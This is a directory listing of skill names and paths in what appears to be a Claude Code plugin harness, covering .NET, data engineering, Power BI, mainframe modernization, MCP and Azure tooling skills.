harness/claude-code/plugins/copilot-plugin-development/skills/copilot-plugin-authoring - copilot-sdk
harness/claude-code/plugins/copilot-sdk/skills/copilot-sdk - adobe-illustrator-scripting
harness/claude-code/plugins/creative-media-tooling/skills/adobe-illustrator-scripting - freecad-scripts
harness/claude-code/plugins/creative-media-tooling/skills/freecad-scripts - game-engine
harness/claude-code/plugins/creative-media-tooling/skills/game-engine - image-manipulation-image-magick
harness/claude-code/plugins/creative-media-tooling/skills/image-manipulation-image-magick - latchshot-page-capture
harness/claude-code/plugins/creative-media-tooling/skills/latchshot-page-capture - nano-banana-pro-openrouter
harness/claude-code/plugins/creative-media-tooling/skills/nano-banana-pro-openrouter - pdftk-server
harness/claude-code/plugins/creative-media-tooling/skills/pdftk-server - resemble-detect
harness/claude-code/plugins/creative-media-tooling/skills/resemble-detect - rhino3d-scripts
harness/claude-code/plugins/creative-media-tooling/skills/rhino3d-scripts - slang-shader-engineer
harness/claude-code/plugins/creative-media-tooling/skills/slang-shader-engineer - transloadit-media-processing
harness/claude-code/plugins/creative-media-tooling/skills/transloadit-media-processing - aspnet-minimal-api-openapi
harness/claude-code/plugins/csharp-dotnet-development/skills/aspnet-minimal-api-openapi - csharp-async
harness/claude-code/plugins/csharp-dotnet-development/skills/csharp-async - csharp-mstest
harness/claude-code/plugins/csharp-dotnet-development/skills/csharp-mstest - csharp-nunit
harness/claude-code/plugins/csharp-dotnet-development/skills/csharp-nunit - csharp-tunit
harness/claude-code/plugins/csharp-dotnet-development/skills/csharp-tunit - csharp-xunit
harness/claude-code/plugins/csharp-dotnet-development/skills/csharp-xunit - dotnet-best-practices
harness/claude-code/plugins/csharp-dotnet-development/skills/dotnet-best-practices - dotnet-upgrade
harness/claude-code/plugins/csharp-dotnet-development/skills/dotnet-upgrade - fluentui-blazor
harness/claude-code/plugins/csharp-dotnet-development/skills/fluentui-blazor - bigquery-pipeline-audit
harness/claude-code/plugins/data-engineering/skills/bigquery-pipeline-audit - datanalysis-credit-risk
harness/claude-code/plugins/data-engineering/skills/datanalysis-credit-risk - pinecone-rag
harness/claude-code/plugins/data-engineering/skills/pinecone-rag - snowflake-semanticview
harness/claude-code/plugins/data-engineering/skills/snowflake-semanticview - sql-server-table-reconciliation
harness/claude-code/plugins/data-engineering/skills/sql-server-table-reconciliation - ssma-console
harness/claude-code/plugins/data-engineering/skills/ssma-console - postgresql-code-review
harness/claude-code/plugins/database-data-management/skills/postgresql-code-review - postgresql-optimization
harness/claude-code/plugins/database-data-management/skills/postgresql-optimization - sql-code-review
harness/claude-code/plugins/database-data-management/skills/sql-code-review - sql-optimization
harness/claude-code/plugins/database-data-management/skills/sql-optimization - dataverse-python-advanced-patterns
harness/claude-code/plugins/dataverse-sdk-for-python/skills/dataverse-python-advanced-patterns - dataverse-python-production-code
harness/claude-code/plugins/dataverse-sdk-for-python/skills/dataverse-python-production-code - dataverse-python-quickstart
harness/claude-code/plugins/dataverse-sdk-for-python/skills/dataverse-python-quickstart - dataverse-python-usecase-builder
harness/claude-code/plugins/dataverse-sdk-for-python/skills/dataverse-python-usecase-builder - azure-resource-health-diagnose
harness/claude-code/plugins/devops-oncall/skills/azure-resource-health-diagnose - multi-stage-dockerfile
harness/claude-code/plugins/devops-oncall/skills/multi-stage-dockerfile - draw-io-diagram-generator
harness/claude-code/plugins/diagram-authoring/skills/draw-io-diagram-generator - efcore-d2-db-diagram
harness/claude-code/plugins/diagram-authoring/skills/efcore-d2-db-diagram - excalidraw-diagram-generator
harness/claude-code/plugins/diagram-authoring/skills/excalidraw-diagram-generator - plantuml-ascii
harness/claude-code/plugins/diagram-authoring/skills/plantuml-ascii - dotnet-timezone
harness/claude-code/plugins/dotnet-desktop-development/skills/dotnet-timezone - msstore-cli
harness/claude-code/plugins/dotnet-desktop-development/skills/msstore-cli - mvvm-toolkit
harness/claude-code/plugins/dotnet-desktop-development/skills/mvvm-toolkit - mvvm-toolkit-di
harness/claude-code/plugins/dotnet-desktop-development/skills/mvvm-toolkit-di - mvvm-toolkit-messenger
harness/claude-code/plugins/dotnet-desktop-development/skills/mvvm-toolkit-messenger - nuget-manager
harness/claude-code/plugins/dotnet-desktop-development/skills/nuget-manager - system-commandline-cli
harness/claude-code/plugins/dotnet-desktop-development/skills/system-commandline-cli - winmd-api-search
harness/claude-code/plugins/dotnet-desktop-development/skills/winmd-api-search - winui3-migration-guide
harness/claude-code/plugins/dotnet-desktop-development/skills/winui3-migration-guide - doublecheck
harness/claude-code/plugins/doublecheck/skills/doublecheck - daily-focus-board
harness/claude-code/plugins/ember/skills/daily-focus-board - from-the-other-side-anitta
harness/claude-code/plugins/ember/skills/from-the-other-side-anitta - from-the-other-side-quinn
harness/claude-code/plugins/ember/skills/from-the-other-side-quinn - from-the-other-side-vega
harness/claude-code/plugins/ember/skills/from-the-other-side-vega - from-the-other-side-wiggins
harness/claude-code/plugins/ember/skills/from-the-other-side-wiggins - eyeball
harness/claude-code/plugins/eyeball/skills/eyeball - fabric-agentic-platform
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform - activator-cli
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/activator-cli - azmon-mirroredcatalogs-operations-cli
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/azmon-mirroredcatalogs-operations-cli - databricks-migration
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/databricks-migration - dataflows-cli
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/dataflows-cli - deployment-pipelines-authoring-cli
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/deployment-pipelines-authoring-cli - e2e-fabric-cost-estimation
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/e2e-fabric-cost-estimation - e2e-medallion-architecture
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/e2e-medallion-architecture - eventhouse-cli
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/eventhouse-cli - eventschemaset-cli
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/eventschemaset-cli - eventstream-cli
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/eventstream-cli - fabriciq
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/fabriciq - fabriciq-ontology-cli
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/fabriciq-ontology-cli - git-integration-operations-cli
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/git-integration-operations-cli - hdinsight-migration
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/hdinsight-migration - pipeline-migration
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/pipeline-migration - power-bi-dax-optimization
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/power-bi-development/skills/power-bi-dax-optimization - power-bi-model-design-review
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/power-bi-development/skills/power-bi-model-design-review - power-bi-performance-troubleshooting
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/power-bi-development/skills/power-bi-performance-troubleshooting - power-bi-report-design-consultation
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/power-bi-development/skills/power-bi-report-design-consultation - power-platform-architect
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/power-platform-architect/skills/power-platform-architect - mcp-copilot-studio-server-generator
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/power-platform-mcp-connector-development/skills/mcp-copilot-studio-server-generator - power-platform-mcp-connector-suite
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/power-platform-mcp-connector-development/skills/power-platform-mcp-connector-suite - powerbi-report-authoring
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-authoring - powerbi-report-design
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-design - powerbi-report-management
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-management - powerbi-report-planning
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-planning - semantic-model-authoring
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/semantic-model-authoring - search-consumption-cli
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/search-consumption-cli - semantic-model-authoring
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/semantic-model-authoring - spark-cli
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/spark-cli - sqldb-cli
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/sqldb-cli - sqldw-cli
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/sqldw-cli - synapse-migration
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/synapse-migration - variable-library-cli
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/variable-library-cli - geofeed-tuner
harness/claude-code/plugins/fastah-ip-geo-tools/skills/geofeed-tuner - flowstudio-power-automate-build
harness/claude-code/plugins/flowstudio-power-automate/skills/flowstudio-power-automate-build - flowstudio-power-automate-debug
harness/claude-code/plugins/flowstudio-power-automate/skills/flowstudio-power-automate-debug - flowstudio-power-automate-governance
harness/claude-code/plugins/flowstudio-power-automate/skills/flowstudio-power-automate-governance - flowstudio-power-automate-mcp
harness/claude-code/plugins/flowstudio-power-automate/skills/flowstudio-power-automate-mcp - flowstudio-power-automate-monitoring
harness/claude-code/plugins/flowstudio-power-automate/skills/flowstudio-power-automate-monitoring - anti-ui-slop
harness/claude-code/plugins/frontend-experience/skills/anti-ui-slop - frontend-accessibility
harness/claude-code/plugins/frontend-experience/skills/frontend-accessibility - frontend-backend-integration
harness/claude-code/plugins/frontend-experience/skills/frontend-backend-integration - frontend-component-testing
harness/claude-code/plugins/frontend-experience/skills/frontend-component-testing - frontend-conversational-ui
harness/claude-code/plugins/frontend-experience/skills/frontend-conversational-ui - frontend-dashboard-visualization
harness/claude-code/plugins/frontend-experience/skills/frontend-dashboard-visualization - frontend-discoverability-assets
harness/claude-code/plugins/frontend-experience/skills/frontend-discoverability-assets - frontend-experience-core
harness/claude-code/plugins/frontend-experience/skills/frontend-experience-core - frontend-form-interactions
harness/claude-code/plugins/frontend-experience/skills/frontend-form-interactions - frontend-mobile-desktop-testing
harness/claude-code/plugins/frontend-experience/skills/frontend-mobile-desktop-testing - frontend-project-setup
harness/claude-code/plugins/frontend-experience/skills/frontend-project-setup - frontend-release-quality-gate
harness/claude-code/plugins/frontend-experience/skills/frontend-release-quality-gate - frontend-requirements-and-stories
harness/claude-code/plugins/frontend-experience/skills/frontend-requirements-and-stories - frontend-responsive-adaptation
harness/claude-code/plugins/frontend-experience/skills/frontend-responsive-adaptation - frontend-test-strategy
harness/claude-code/plugins/frontend-experience/skills/frontend-test-strategy - frontend-visual-e2e-testing
harness/claude-code/plugins/frontend-experience/skills/frontend-visual-e2e-testing - frontend-visual-system
harness/claude-code/plugins/frontend-experience/skills/frontend-visual-system - playwright-explore-website
harness/claude-code/plugins/frontend-experience/skills/playwright-explore-website - playwright-generate-test
harness/claude-code/plugins/frontend-experience/skills/playwright-generate-test - premium-frontend-ui
harness/claude-code/plugins/frontend-experience/skills/premium-frontend-ui - web-design-reviewer
harness/claude-code/plugins/frontend-experience/skills/web-design-reviewer - playwright-explore-website
harness/claude-code/plugins/frontend-web-dev/skills/playwright-explore-website - playwright-generate-test
harness/claude-code/plugins/frontend-web-dev/skills/playwright-generate-test - commit-message-storyteller
harness/claude-code/plugins/git-github-workflow/skills/commit-message-storyteller - conventional-branch
harness/claude-code/plugins/git-github-workflow/skills/conventional-branch - copilot-pr-autopilot
harness/claude-code/plugins/git-github-workflow/skills/copilot-pr-autopilot - dependabot
harness/claude-code/plugins/git-github-workflow/skills/dependabot - gh-attach
harness/claude-code/plugins/git-github-workflow/skills/gh-attach - git-commit
harness/claude-code/plugins/git-github-workflow/skills/git-commit - git-flow-branch-creator
harness/claude-code/plugins/git-github-workflow/skills/git-flow-branch-creator - github-issues
harness/claude-code/plugins/git-github-workflow/skills/github-issues - github-release
harness/claude-code/plugins/git-github-workflow/skills/github-release - gitmoji
harness/claude-code/plugins/git-github-workflow/skills/gitmoji - issue-fields-migration
harness/claude-code/plugins/git-github-workflow/skills/issue-fields-migration - make-repo-contribution
harness/claude-code/plugins/git-github-workflow/skills/make-repo-contribution - pr-dashboard
harness/claude-code/plugins/git-github-workflow/skills/pr-dashboard - github-actions-efficiency
harness/claude-code/plugins/github-actions-maintenance/skills/github-actions-efficiency - github-actions-hardening
harness/claude-code/plugins/github-actions-maintenance/skills/github-actions-hardening - github-actions-runtime-upgrade-conventions
harness/claude-code/plugins/github-actions-maintenance/skills/github-actions-runtime-upgrade-conventions - go-mcp-server-generator
harness/claude-code/plugins/go-mcp-development/skills/go-mcp-server-generator - ad-campaign-analyzer
harness/claude-code/plugins/go-to-market/skills/ad-campaign-analyzer - competitor-ad-intelligence
harness/claude-code/plugins/go-to-market/skills/competitor-ad-intelligence - gtm-0-to-1-launch
harness/claude-code/plugins/go-to-market/skills/gtm-0-to-1-launch - gtm-ai-gtm
harness/claude-code/plugins/go-to-market/skills/gtm-ai-gtm - gtm-board-and-investor-communication
harness/claude-code/plugins/go-to-market/skills/gtm-board-and-investor-communication - gtm-developer-ecosystem
harness/claude-code/plugins/go-to-market/skills/gtm-developer-ecosystem - gtm-enterprise-account-planning
harness/claude-code/plugins/go-to-market/skills/gtm-enterprise-account-planning - gtm-enterprise-onboarding
harness/claude-code/plugins/go-to-market/skills/gtm-enterprise-onboarding - gtm-operating-cadence
harness/claude-code/plugins/go-to-market/skills/gtm-operating-cadence - gtm-partnership-architecture
harness/claude-code/plugins/go-to-market/skills/gtm-partnership-architecture - gtm-positioning-strategy
harness/claude-code/plugins/go-to-market/skills/gtm-positioning-strategy - gtm-product-led-growth
harness/claude-code/plugins/go-to-market/skills/gtm-product-led-growth - gtm-technical-product-pricing
harness/claude-code/plugins/go-to-market/skills/gtm-technical-product-pricing - landing-page-conversion-audit
harness/claude-code/plugins/go-to-market/skills/landing-page-conversion-audit - server-side-conversion-tracking
harness/claude-code/plugins/go-to-market/skills/server-side-conversion-tracking - aws-cloudwatch-investigation
harness/claude-code/plugins/incident-response/skills/aws-cloudwatch-investigation - bug-receipt
harness/claude-code/plugins/incident-response/skills/bug-receipt - bug-reproduction-brief
harness/claude-code/plugins/incident-response/skills/bug-reproduction-brief - devops-rollout-plan
harness/claude-code/plugins/incident-response/skills/devops-rollout-plan - impediment-prioritization
harness/claude-code/plugins/incident-response/skills/impediment-prioritization - incident-postmortem
harness/claude-code/plugins/incident-response/skills/incident-postmortem - arduino-azure-iot-edge-integration
harness/claude-code/plugins/iot-embedded-systems/skills/arduino-azure-iot-edge-integration - azure-smart-city-iot-solution-builder
harness/claude-code/plugins/iot-embedded-systems/skills/azure-smart-city-iot-solution-builder - legacy-circuit-mockups
harness/claude-code/plugins/iot-embedded-systems/skills/legacy-circuit-mockups - python-azure-iot-edge-modules
harness/claude-code/plugins/iot-embedded-systems/skills/python-azure-iot-edge-modules - create-spring-boot-java-project
harness/claude-code/plugins/java-development/skills/create-spring-boot-java-project - java-docs
harness/claude-code/plugins/java-development/skills/java-docs - java-junit
harness/claude-code/plugins/java-development/skills/java-junit - java-springboot
harness/claude-code/plugins/java-development/skills/java-springboot - create-spring-boot-kotlin-project
harness/claude-code/plugins/java-kotlin-development/skills/create-spring-boot-kotlin-project - java-add-graalvm-native-image-support
harness/claude-code/plugins/java-kotlin-development/skills/java-add-graalvm-native-image-support - java-helidon
harness/claude-code/plugins/java-kotlin-development/skills/java-helidon - java-refactoring-extract-method
harness/claude-code/plugins/java-kotlin-development/skills/java-refactoring-extract-method - java-refactoring-remove-parameter
harness/claude-code/plugins/java-kotlin-development/skills/java-refactoring-remove-parameter - javax-to-jakarta-migration
harness/claude-code/plugins/java-kotlin-development/skills/javax-to-jakarta-migration - kotlin-springboot
harness/claude-code/plugins/java-kotlin-development/skills/kotlin-springboot - spring-boot-testing
harness/claude-code/plugins/java-kotlin-development/skills/spring-boot-testing - java-mcp-server-generator
harness/claude-code/plugins/java-mcp-development/skills/java-mcp-server-generator - kotlin-mcp-server-generator
harness/claude-code/plugins/kotlin-mcp-development/skills/kotlin-mcp-server-generator - mentoring-juniors
harness/claude-code/plugins/learning-and-mentoring/skills/mentoring-juniors - arch-linux-triage
harness/claude-code/plugins/linux-operations/skills/arch-linux-triage - centos-linux-triage
harness/claude-code/plugins/linux-operations/skills/centos-linux-triage - debian-linux-triage
harness/claude-code/plugins/linux-operations/skills/debian-linux-triage - fedora-linux-triage
harness/claude-code/plugins/linux-operations/skills/fedora-linux-triage - cobol-classic-context
harness/claude-code/plugins/mainframe-cobol-db2-classic/skills/cobol-classic-context - cobol-db2-analysis
harness/claude-code/plugins/mainframe-cobol-db2-classic/skills/cobol-db2-analysis - cobol-legacy
harness/claude-code/plugins/mainframe-cobol-db2-classic/skills/cobol-legacy - code-modernization
harness/claude-code/plugins/mainframe-cobol-db2-classic/skills/code-modernization - create-architectural-decision-record
harness/claude-code/plugins/mainframe-cobol-db2-classic/skills/create-architectural-decision-record - db2-postgresql-migration
harness/claude-code/plugins/mainframe-cobol-db2-classic/skills/db2-postgresql-migration - db2-schema
harness/claude-code/plugins/mainframe-cobol-db2-classic/skills/db2-schema - github-actions-hardening
harness/claude-code/plugins/mainframe-cobol-db2-classic/skills/github-actions-hardening - java-junit
harness/claude-code/plugins/mainframe-cobol-db2-classic/skills/java-junit - java-springboot
harness/claude-code/plugins/mainframe-cobol-db2-classic/skills/java-springboot - legacy-business-rule-extraction
harness/claude-code/plugins/mainframe-cobol-db2-classic/skills/legacy-business-rule-extraction - legacy-characterization-testing
harness/claude-code/plugins/mainframe-cobol-db2-classic/skills/legacy-characterization-testing - modernization-workspace-kit
harness/claude-code/plugins/mainframe-cobol-db2-classic/skills/modernization-workspace-kit - postgresql-code-review
harness/claude-code/plugins/mainframe-cobol-db2-classic/skills/postgresql-code-review - postgresql-optimization
harness/claude-code/plugins/mainframe-cobol-db2-classic/skills/postgresql-optimization - sdd-requirements-engineer
harness/claude-code/plugins/mainframe-cobol-db2-classic/skills/sdd-requirements-engineer - cobol-db2-analysis
harness/claude-code/plugins/mainframe-cobol-db2/skills/cobol-db2-analysis - cobol-db2-context
harness/claude-code/plugins/mainframe-cobol-db2/skills/cobol-db2-context - cobol-db2-loop
harness/claude-code/plugins/mainframe-cobol-db2/skills/cobol-db2-loop - cobol-legacy
harness/claude-code/plugins/mainframe-cobol-db2/skills/cobol-legacy - code-modernization
harness/claude-code/plugins/mainframe-cobol-db2/skills/code-modernization - create-architectural-decision-record
harness/claude-code/plugins/mainframe-cobol-db2/skills/create-architectural-decision-record - db2-postgresql-migration
harness/claude-code/plugins/mainframe-cobol-db2/skills/db2-postgresql-migration - db2-schema
harness/claude-code/plugins/mainframe-cobol-db2/skills/db2-schema - github-actions-hardening
harness/claude-code/plugins/mainframe-cobol-db2/skills/github-actions-hardening - legacy-business-rule-extraction
harness/claude-code/plugins/mainframe-cobol-db2/skills/legacy-business-rule-extraction - legacy-characterization-testing
harness/claude-code/plugins/mainframe-cobol-db2/skills/legacy-characterization-testing - modernization-workspace-kit
harness/claude-code/plugins/mainframe-cobol-db2/skills/modernization-workspace-kit - postgresql-code-review
harness/claude-code/plugins/mainframe-cobol-db2/skills/postgresql-code-review - postgresql-optimization
harness/claude-code/plugins/mainframe-cobol-db2/skills/postgresql-optimization - sdd-requirements-engineer
harness/claude-code/plugins/mainframe-cobol-db2/skills/sdd-requirements-engineer - adabas-postgresql-migration
harness/claude-code/plugins/mainframe-natural-adabas-classic/skills/adabas-postgresql-migration - code-modernization
harness/claude-code/plugins/mainframe-natural-adabas-classic/skills/code-modernization - create-architectural-decision-record
harness/claude-code/plugins/mainframe-natural-adabas-classic/skills/create-architectural-decision-record - github-actions-hardening
harness/claude-code/plugins/mainframe-natural-adabas-classic/skills/github-actions-hardening - java-junit
harness/claude-code/plugins/mainframe-natural-adabas-classic/skills/java-junit - java-springboot
harness/claude-code/plugins/mainframe-natural-adabas-classic/skills/java-springboot - legacy-business-rule-extraction
harness/claude-code/plugins/mainframe-natural-adabas-classic/skills/legacy-business-rule-extraction - legacy-characterization-testing
harness/claude-code/plugins/mainframe-natural-adabas-classic/skills/legacy-characterization-testing - modernization-workspace-kit
harness/claude-code/plugins/mainframe-natural-adabas-classic/skills/modernization-workspace-kit - natural-adabas-analysis
harness/claude-code/plugins/mainframe-natural-adabas-classic/skills/natural-adabas-analysis - postgresql-code-review
harness/claude-code/plugins/mainframe-natural-adabas-classic/skills/postgresql-code-review - postgresql-optimization
harness/claude-code/plugins/mainframe-natural-adabas-classic/skills/postgresql-optimization - sdd-requirements-engineer
harness/claude-code/plugins/mainframe-natural-adabas-classic/skills/sdd-requirements-engineer - sifap-backend
harness/claude-code/plugins/mainframe-natural-adabas-classic/skills/sifap-backend - sifap-cicd
harness/claude-code/plugins/mainframe-natural-adabas-classic/skills/sifap-cicd - sifap-classic-context
harness/claude-code/plugins/mainframe-natural-adabas-classic/skills/sifap-classic-context - sifap-classic-orchestration
harness/claude-code/plugins/mainframe-natural-adabas-classic/skills/sifap-classic-orchestration - sifap-classic-traceability
harness/claude-code/plugins/mainframe-natural-adabas-classic/skills/sifap-classic-traceability - sifap-database
harness/claude-code/plugins/mainframe-natural-adabas-classic/skills/sifap-database - sifap-frontend
harness/claude-code/plugins/mainframe-natural-adabas-classic/skills/sifap-frontend - sifap-infrastructure
harness/claude-code/plugins/mainframe-natural-adabas-classic/skills/sifap-infrastructure - sifap-natural-adabas
harness/claude-code/plugins/mainframe-natural-adabas-classic/skills/sifap-natural-adabas - sifap-requirements
harness/claude-code/plugins/mainframe-natural-adabas-classic/skills/sifap-requirements - sifap-security
harness/claude-code/plugins/mainframe-natural-adabas-classic/skills/sifap-security - sifap-tests
harness/claude-code/plugins/mainframe-natural-adabas-classic/skills/sifap-tests - adabas-postgresql-migration
harness/claude-code/plugins/mainframe-natural-adabas/skills/adabas-postgresql-migration - code-modernization
harness/claude-code/plugins/mainframe-natural-adabas/skills/code-modernization - create-architectural-decision-record
harness/claude-code/plugins/mainframe-natural-adabas/skills/create-architectural-decision-record - github-actions-hardening
harness/claude-code/plugins/mainframe-natural-adabas/skills/github-actions-hardening - java-junit
harness/claude-code/plugins/mainframe-natural-adabas/skills/java-junit - java-springboot
harness/claude-code/plugins/mainframe-natural-adabas/skills/java-springboot - legacy-business-rule-extraction
harness/claude-code/plugins/mainframe-natural-adabas/skills/legacy-business-rule-extraction - legacy-characterization-testing
harness/claude-code/plugins/mainframe-natural-adabas/skills/legacy-characterization-testing - modernization-workspace-kit
harness/claude-code/plugins/mainframe-natural-adabas/skills/modernization-workspace-kit - natural-adabas-analysis
harness/claude-code/plugins/mainframe-natural-adabas/skills/natural-adabas-analysis - postgresql-code-review
harness/claude-code/plugins/mainframe-natural-adabas/skills/postgresql-code-review - postgresql-optimization
harness/claude-code/plugins/mainframe-natural-adabas/skills/postgresql-optimization - sdd-requirements-engineer
harness/claude-code/plugins/mainframe-natural-adabas/skills/sdd-requirements-engineer - sifap-backend
harness/claude-code/plugins/mainframe-natural-adabas/skills/sifap-backend - sifap-cicd
harness/claude-code/plugins/mainframe-natural-adabas/skills/sifap-cicd - sifap-database
harness/claude-code/plugins/mainframe-natural-adabas/skills/sifap-database - sifap-frontend
harness/claude-code/plugins/mainframe-natural-adabas/skills/sifap-frontend - sifap-infrastructure
harness/claude-code/plugins/mainframe-natural-adabas/skills/sifap-infrastructure - sifap-loop
harness/claude-code/plugins/mainframe-natural-adabas/skills/sifap-loop - sifap-modernization-context
harness/claude-code/plugins/mainframe-natural-adabas/skills/sifap-modernization-context - sifap-natural-adabas
harness/claude-code/plugins/mainframe-natural-adabas/skills/sifap-natural-adabas - sifap-requirements
harness/claude-code/plugins/mainframe-natural-adabas/skills/sifap-requirements - sifap-requirements-traceability
harness/claude-code/plugins/mainframe-natural-adabas/skills/sifap-requirements-traceability - sifap-security
harness/claude-code/plugins/mainframe-natural-adabas/skills/sifap-security - sifap-tests
harness/claude-code/plugins/mainframe-natural-adabas/skills/sifap-tests - sifap-workshop-orchestration
harness/claude-code/plugins/mainframe-natural-adabas/skills/sifap-workshop-orchestration - dotnet-mcp-builder
harness/claude-code/plugins/mcp-development/skills/dotnet-mcp-builder - mcp-builder
harness/claude-code/plugins/mcp-development/skills/mcp-builder - mcp-cli
harness/claude-code/plugins/mcp-development/skills/mcp-cli - mcp-implementation-security-review
harness/claude-code/plugins/mcp-development/skills/mcp-implementation-security-review - mcp-release-qa
harness/claude-code/plugins/mcp-development/skills/mcp-release-qa - mcp-security-audit
harness/claude-code/plugins/mcp-development/skills/mcp-security-audit - webmcpify
harness/claude-code/plugins/mcp-development/skills/webmcpify - mcp-create-adaptive-cards
harness/claude-code/plugins/mcp-m365-copilot/skills/mcp-create-adaptive-cards - mcp-create-declarative-agent
harness/claude-code/plugins/mcp-m365-copilot/skills/mcp-create-declarative-agent - mcp-deploy-manage-agents
harness/claude-code/plugins/mcp-m365-copilot/skills/mcp-deploy-manage-agents - declarative-agents
harness/claude-code/plugins/microsoft-365-data-platform/skills/declarative-agents - fabric-lakehouse
harness/claude-code/plugins/microsoft-365-data-platform/skills/fabric-lakehouse - msgraph-sdk
harness/claude-code/plugins/microsoft-365-data-platform/skills/msgraph-sdk - powerbi-modeling
harness/claude-code/plugins/microsoft-365-data-platform/skills/powerbi-modeling - workiq-copilot
harness/claude-code/plugins/microsoft-365-data-platform/skills/workiq-copilot - napkin
harness/claude-code/plugins/napkin/skills/napkin - noob-mode
harness/claude-code/plugins/noob-mode/skills/noob-mode - azure-agentic-architecture-patterns
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/azure-agentic-architecture-patterns - azure-api-center
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/azure-api-center - azure-apim-ai-gateway
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/azure-apim-ai-gateway - azure-appinsights-instrumentation
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/azure-appinsights-instrumentation - azure-argocd-cli
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/azure-argocd-cli - azure-cli
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/azure-cli - azure-cost-optimize
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/azure-cost-optimize - azure-draw-io-diagram-generator
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/azure-draw-io-diagram-generator - azure-entra-agent-user
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/azure-entra-agent-user - azure-helm-cli
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/azure-helm-cli - azure-import-infrastructure-as-code
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/azure-import-infrastructure-as-code - azure-infrastructure
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/azure-infrastructure - azure-kubectl-cli
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/azure-kubectl-cli - azure-managed-redis-cache
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/azure-managed-redis-cache - azure-observability-stack
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/azure-observability-stack - azure-postgre-database-management
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/azure-postgre-database-management - azure-pricing
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/azure-pricing - azure-resource-health-diagnose
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/azure-resource-health-diagnose - azure-role-selector
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/azure-role-selector - azure-scaffold-wizard
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/azure-scaffold-wizard - azure-terraform-cli
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/azure-terraform-cli - azure-terraform-terratest-module-testing
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/azure-terraform-terratest-module-testing - azure-well-architected-review
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/azure-well-architected-review - backstage-app-frontend-system-migration
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/backstage-app-frontend-system-migration - app-frontend-system-migration
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/backstage-app-frontend-system-migration/references/upstream - backstage-mui-to-bui-migration
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/backstage-mui-to-bui-migration - mui-to-bui-migration
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/backstage-mui-to-bui-migration/references/upstream - backstage-onboard-to-openapi-server
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/backstage-onboard-to-openapi-server - onboard-to-openapi-server
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/backstage-onboard-to-openapi-server/references/upstream - backstage-plugin-analytics-instrumentation
